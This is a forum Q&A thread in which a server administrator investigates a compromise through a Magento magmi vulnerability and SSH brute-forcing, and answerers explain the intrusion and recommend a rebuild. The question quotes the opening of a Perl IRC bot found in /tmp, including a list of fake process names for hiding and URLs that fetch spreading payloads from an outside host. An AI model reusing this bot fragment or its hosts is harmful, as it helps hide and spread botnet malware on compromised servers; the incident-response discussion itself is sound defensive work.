Server compromised with magento vulnerability, possible rootkit

Question

I am experiencing a security issue with one server that it happens that I manage. I will try to cite all relevant facts as briefly as possible. I am asking for any additional information and course of action to take.

The server hosts several relatively low-volume web sites, and other minor services as well. Most sites are Drupal or Joomla, and they seem to be updated as much as I can tell. Recently a Magento site added only temporarily, about which I will come back later.

It all started with observing high load average, cpu usage on the server. Soon this got related to high response times.

Running a netstat revealed an unusual and relatively high number of connections from a specific IP from an Australian ISP. Most of these connections were related with apache processes, and many others remained to SYN status with no relative pid.

At first I thought that this is some kind of flood to Apache, so I decided to ban the IP from the Apache conf file (Deny from) and kill all relevant processes, which appeared to work for a while.

Very soon I realised that I experienced the exact same issue from another IP from a Dutch ISP. I quickly installed mod_evasive and also banned the IP. This seemed to relax the issue a bit (cpu down to 80%).

Soon I received an email from the server provider that the server is being abused and urged me to examine the sites for malicious code. Immediately I did the following (so far, this is ongoing):

• ps faux, netstat revealed nothing suspicious
• chkrootkit, rkhunter, the same
• examined the apache log files by checking against the known IPs and that revealed to me several attempts to exploit vulnerabilities on the magento site.
• we suspended the web hsoting for that account, removed the files.
• a further investigation to all directories that apache has write perms revealed there were some suspicious files.
• the cpu usage went down to 0-10%.

The suspicious files are, well suspicious. There was a particular file /tmp/ask which looked like:

#!/usr/bin/perl
#
###############################################
# Im not living im just killing time
#       
#                                                               
# radiohead ganja ipays the beatles
#                                                               
#                                 
###############################################


use IO::Socket::INET;
#use HTTP::Request;
#use LWP::UserAgent;
##################################################
# Im not living im just killing time
#       
#                                                               
# radiohead ganja ipays the beatles
##################################################
my @ps = ("/usr/sbin/ateam","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]"); 
$processo = $ps[rand scalar @ps]; 
my $linas_max='2';
my $sleep='3';
my $cmd="im.not.living.im.just.killing.time";
my $id="http://www.utama-audio.com/ipays/allnet/id.txt?";
my $spread="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my $spreads="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my @adms=("AR_GA");
my @canais="#botnet";
# etc etc

There was another directory named /tmp/.X11-unix which of course is irregular as there is no x on the server. In the dir the following files:

tmp/.X11-unix/
tmp/.X11-unix/dorks.txt
tmp/.X11-unix/ipays2.php
tmp/.X11-unix/malink.php
tmp/.X11-unix/act.zip
tmp/.X11-unix/inc.zip
tmp/.X11-unix/ipays.phtml
tmp/.X11-unix/ipays.php
tmp/.X11-unix/ipays3.php
tmp/.X11-unix/ext.zip
tmp/.X11-unix/ipays.gif

After all that, other investigations with netstat, ps, executable files tampering, debsums, chkrootkit and rkhunter are all negative.

Apart from this very strange observation (legit details replaced with xxx):

wtower@xxx~$ sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0      0 xx.xxx.xx.xxx:22        43.229.52.15:49460      ESTABLISHED 3382/sshd: root [pr
tcp        0     48 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       
wtower@xxx:~$ sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0    848 xx.xxx.xx.xxx:22        43.229.52.15:39686      ESTABLISHED 3390/sshd: [accepte
tcp        0      0 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       
wtower@xxx:~$ sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0      0 xx.xxx.xx.xxx:22        43.229.52.15:39686      ESTABLISHED 3390/sshd: root [pr
tcp        0      0 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       

You can notice that a ssh connection as root from 43.229.52.15 (Japan) is constantly changing pids, as root. w shows nothing. I am so buffled and compromised.

Possibly all the above are not connected, but I got not clue. Any help is much appreciated.

Answer 1

The course of action is to wipe the machine and install everything from the stored image or from scratch. It's just too hard to be confident that you've cleaned them. Especially once the attacker has gotten root access.

Answer 2

Thanks for all support. These have been my findings after a thorough investigation:

The ownership for both scripts found in /tmp has been the Apache user. The /tmp directory is writable by Apache. I compared the creation date with any relevant log and I found in the Apache logs how they entered in the system. It turns out that they exploited the magento magmi vulnerability three times.

Apart from the scripts, the third time had been to add some pages that had been used for phishing attempts, and this is where the biggest volume came from.

I found no signs whatsoever of any further accounts exposure. The permissions are quite strict and there is no other way as far as I can tell that Apache would be able to write in anywhere else. As soon as I removed the web site everything came back to normal.

Regarding the netstat issue, this has been a different issue altogether. It was my mistake that I didn't examine auth.log better at the first place. It turned out that PasswordAuthentication was left on probably from some other operation, and this resulted in a brute-force attack on root. The repeating re-spawning was simply an established connection for trying out a password, but without an established session. The risk was mitigated by the fact that PermitRootLogin was off and the root account is locked.

These are the links from two relevant threads in Ubuntu forums: about the scripts and about the ssh activity.